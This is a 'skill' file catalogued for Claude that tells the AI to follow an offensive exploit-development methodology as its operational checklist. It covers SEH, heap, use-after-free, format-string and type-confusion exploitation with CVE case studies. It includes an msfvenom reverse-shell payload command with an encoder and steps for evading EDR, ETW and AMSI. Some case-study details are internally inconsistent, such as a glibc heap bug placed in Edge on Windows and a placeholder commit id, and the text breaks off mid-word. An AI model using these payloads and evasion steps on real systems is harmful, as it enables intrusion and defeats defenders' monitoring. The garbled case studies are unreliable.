Offensive Exploit Development

SKILL: Exploit Development

Metadata

• Skill Name: exploit-development
• Folder: offensive-exploit-development
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/development.md

Description

Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.

Trigger Phrases

Use this skill when the conversation involves any of: exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

Full Methodology

Exploit Development

Exploit Development Process

• Checkout [Bug Identification](/exploit/bug-identification.md) document for more information
• Also check [Fuzzing](/exploit/fuzzing.md) for specific fuzzing topics
• Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug.
• Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls.
• Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically.
• For Windows-specific vulnerabilities, see [Windows Kernel](/exploit/windows-kernel.md)

flowchart LR
    BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
    Testing["Testing & Refinement"] --> Deployment["Deployment"]

    subgraph "Analysis Phase"
        direction LR
        Root["Root Cause Analysis"]
        Trig["Trigger Identification"]
        Impact["Impact Assessment"]
    end

    subgraph "Weaponization Phase"
        direction LR
        MitBypass["Mitigation Bypass"]
        Payload["Payload Development"]
        Reliability["Reliability Improvements"]
    end

    Analysis --> Root
    Analysis --> Trig
    Analysis --> Impact

    Root --> MitBypass
    Impact --> Payload
    Trig --> Payload
    MitBypass --> Payload
    Payload --> Reliability
    Reliability --> Testing
    Testing --> MitBypass

    class BugId,Analysis,Testing,Deployment primary

Bug Types

Stack Overflow

Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.

Case Study — CVE‑2025‑0910 (TinyFTP stack overflow)

• Bug – Unchecked strcpy copies user‐supplied file path into a 256‑byte stack buffer when handling STOR commands.
• Trigger – Send STOR / followed by 420 bytes of A… to overflow the buffer and clobber SEH frame.
• Exploit – Overwrite next SEH with a pop pop ret inside msvcrt.dll; pivot to payload that disables DEP via ROP then spawns a reverse shell.
• Mitigations bypassed – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config.
• Fixed in v1.5.3 by replacing strcpy with strncpy_s and enabling /DYNAMICBASE /GS.

SEH

• structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node.
• ntdll!KiUserExceptionDispatcher is responsible for the exception handling process which itself calls RtlDispatchException
• RtlDispatchException retrieves the TEB and parses the exception handling linked list using NtTib->ExceptionList
• SafeSEH mitigates handler over‑writes only in 32‑bit images. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build. SEHOP remains enabled by default.
• To check whether a module uses Guard EH Continuations, inspect Load Configuration Directory → GuardEHContinuations in the PE header (e.g., dumpbin /loadconfig or a lief script).
• Many core system DLLs are compiled with EHCONT metadata plus /GS, /CETCOMPAT; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.
• RtlpExecuteHandlerForException calls the ntdll!ExecuteHandler2 which in turn calls the actual exception handler function after validation
• In a SEH buffer overflow we try to overflow the buffer and overwrite the ExceptionList starting at the buffer
• so that the dispatcher calls our handler pointer —we gain control of the instruction pointer only if SEHOP is disabled or successfully bypassed.
• you need to find a pop-pop-ret sequence to use in the exploit, you also need to identify and remove bad characters

EggHunting

• during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting
• you need a small search payload to scan virtual address space for a suitable payload location
• you can use keystone engine to write your egghunter code
• On Windows 11+, classic egghunters still work, but Control‑Flow Guard (CFG) validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with VirtualProtect) or a target module compiled without /guard:cf.

Use After Free

The link to something isn't available anymore, so we just replace it with our binary and take over the program.

Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF)

• Bug – core::media::AudioRenderer failed to remove a task from the render queue on stream abort, leaving a dangling pointer.
• Trigger – JavaScript AudioContext rapid open‑close loop × 1 000 on Windows 11 23H2.
• Exploit – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to VirtualProtect to run shellcode.
• Mitigations bypassed – CET shadow stack (JOP gadgets), XFG (indirect‑call target inside allowed GFID range).
• Patched in Edge 124.0.2365.18 with smart‑pointer ref‑count and std::erase_if queue purge.

Background

• C++ Smart Pointers
• Intrusive: Microsoft chose this
• Non-Intrusive
• Linked
• when an object is created from a C++ class and uses virtual functions
• a vptr is created at compile time and points to a virtual function table vtable/vftable
• the table holds pointer to virtual functions, when loaded into a register like RAX, a call is made to the appropriate offset for the desired virtual function
• we count number of created instances, we decrement it when calling the release function
• when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF
• Windows Heap Front‑End Allocators
• LFH (Low Fragmentation Heap) – default on Windows 7–10 for user‑mode heaps
• Segment Heap – default for Windows 10 2004+ and Windows 11 apps that opt in
• Exploits often pivot by corrupting front‑end metadata before landing in the backend.
• For more advanced techniques, see [Mitigations](/exploit/mitigation.md) or [Modern](/exploit/modern-mitigations.md)

Heap Overflow

• When data is written beyond the boundary of an allocated chunk of memory on the heap
• Heap exploits often require understanding of allocator internals
• Modern heap exploits involve corrupting metadata - see [Modern Samples](/exploit/modern-samples.md)

Case Study — CVE‑2025‑20301 (Edge WebView2 tcache‑stashing‑unlink)

• Bug – Oversized AudioRingBuffer write corrupts size field of next tcache chunk (glibc 2.40).
• Trigger – Crafted WebCodecs stream with 65 536‑frame explicit CRC chunk.
• Exploit – Partial overwrite of fd pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE.
• Mitigations bypassed – Safe‑linking (byte‑wise brute on lower 16 bits), ASLR via info‑leak in shared memory.
• Patch – Bounds check and compile‑time __builtin_object_size guard (Chromium 123 commit a1b2c3).

Modern Heap Internals

• Windows Segment Heap – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives.
• glibc tcache + safe‑linking – techniques such as tcache‑stashing‑unlink and House of Kiwi to break the new protections.
• Exploitation workflow: leak heap_base, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
• glibc 2.41 fast‑bins & calloc – calloc() now pre‑fills the tcache and safe‑linking checks trigger earlier; the older fastbins‑dupes shortcut no longer works. Use tcache‑stashing‑unlink or House of KIWI instead on 2.41+.

Concurrency Issues

• Double Fetch: Kernel reads user-mode memory twice, allowing for race conditions
• I/O Ring double‑fetch: race in NtSetInformationIoRing urb‑array handling leads to write‑what‑where in kernel context.
• Missing Locks: Critical sections without proper synchronization
• See [Windows Kernel](/exploit/windows-kernel.md) for more details on kernel-specific race conditions

Integer Overflows/Underflows/Truncation

• Integer overflow: exceeding maximum value of integer type
• Integer underflow: going below minimum value of integer type
• Integer truncation: losing data when converting larger to smaller type
• Often leads to memory corruption when used for allocation sizes
• For examples, see [Bug Identification](/exploit/bug-identification.md)
• Casting 64‑bit size_t to 32‑bit DWORD across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.

No/Incomplete Pointer Checks

• Checking if a user-provided pointer points to user memory
• Size of any pointer read/writes also need to be verified
• Potentially un-intuitive behavior with common checking API

Format String Attacks

• Theory
• you can use this bug to bypass ASLR and DEP
• to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it
• Methodology
• find a print like function that accepts format string (vsnprintf, ...)
• find a code path to that function that lets you influence the format string
• try to leak a stack address abusing this format string vulnerability
• using the previously leaked address, obtain a DLL address
• use this method to bypass ASLR without using a static address
• you can also find a write primitive to get code execution (checkout %n modifier)
• you might need stack pivot gadgets like move esp, r32 or xchg esp, r32

Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE)

• Bug – Logs EHLO argument directly into syslog() format string.
• Trigger – Send EHLO %43$p|%45$s during SMTP handshake.
• Exploit – First leak reveals libc base; second leak dumps GOT entry; craft %n payload to overwrite __free_hook with system().
• Mitigations bypassed – Full RELRO & ASLR via info‑leak, PIE disabled in default build.
• Fixed in 2.0.9 by adding "%s" wrapper and enabling -Wformat-security.

Type Confusion Vulnerabilities

A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.

Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE)

• Bug – TurboFan's CheckBounds elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.
• Trigger – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed SMI/HeapNumber array.
• Exploit – Fake JSArray with controlled backing store pointer; corrupt length field to achieve OOB R/W; pivot to WASM RWX page for shellcode.
• Mitigations bypassed – V8 sandbox (pointer compression bypass), CFI (JIT‑generated code exemption).

Background

• JIT Compiler Vulnerabilities
• Type confusion in speculative optimization passes (TurboFan, IonMonkey)
• Inline cache poisoning via polymorphic property access
• Register allocation bugs leading to incorrect type assumptions
• C++ Dynamic Cast Bypass
• Virtual table pointer corruption to bypass dynamic_cast checks
• Object layout confusion in multiple inheritance scenarios
• Template instantiation bugs with type deduction
• WASM Type Confusion
• Function signature mismatch across import/export boundaries
• Table element type confusion in indirect calls
• Memory view aliasing between different typed arrays

Exploitation Techniques

• Object Layout Analysis – understand target application's object hierarchy and vtable structure
• Type Oracle Construction – build primitive to leak object type information reliably
• Controlled Type Confusion – craft input that triggers predictable type mismatch
• Privilege Escalation – chain type confusion to achieve arbitrary R/W or code execution

Vulnerability Analysis

Exit Criteria

• Root cause isolated & documented.
• Reliable trigger reproduces the crash ≥ 90 % of attempts.
• Impact classified (DoS, LPE, RCE) and affected versions noted.
• Minimised PoC input saved under pocs/.
• Analysis log (debugger trace, coverage diff) attached.

Quick‑start

• Harness template: templates/harness_min.cc
• WinDbg/LLDB alias pack: scripts/va_aliases.txt
• Checklist refresher: [Bug Identification → Root Cause](/exploit/bug-identification.md#root-cause-analysis)

Root Cause Analysis

• Identify the core issue causing the vulnerability
• Understand memory corruption patterns
• Determine trigger conditions

Impact Assessment

• Evaluate the potential consequences of the vulnerability
• Determine if it leads to information disclosure, privilege escalation, or code execution
• Assess reliability and exploitability in various environments

Weaponization

Exit Criteria

• Control achieved (PC/IP hijack, arbitrary R/W, or logic bypass).
• Mitigation strategy drafted (DEP, ASLR, CET, XFG, MTE, etc.).
• Payload stager verified against bad‑chars & size limits.
• Reliability ≥ 80 % over 100 automated runs.
• Cleanup/rollback logic documented.

Quick‑start

• ROP/JOP chain workspace: scripts/ropper2_workspace.md
• Bad‑char scanner: tools/badchar_scan.py
• Reference: [Modern Mitigations](/exploit/modern-mitigations.md)

Shellcode Development

Bad Characters

• when using a shellcode in stack
• send all hex bytes except null byte (0x00) and return carriage (0x0D, 0x0A) if in web
• check which one has not appeared in the stack, mark it as bad character and don't use it
• see [Shellcode](/exploit/shellcode.md) for comprehensive techniques

Automatic Generation

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b ""
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode

Development

Check out [Shellcode](/exploit/shellcode.md)

IBT/CET note (x86‑64): place ENDBR64 at entry for valid indirect targets when IBT is enabled. Example prologue bytes: F3 0F 1E FA.

EDR / ETW / AMSI Evasion

• Patch ETW registration stubs (EtwEventWrite) with ret sleds or stubbed functions while evading PatchGuard.
• Overwrite the AMSI scan buffer pointer (amsi!AmsiScanBuffer) with 0x80070057 (E_INVALIDARG) to short‑circuit scann

…

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: SnailSploit
• Source: SnailSploit/Claude-Red
• License: MIT

Install and usage instructions live in the source repository linked above.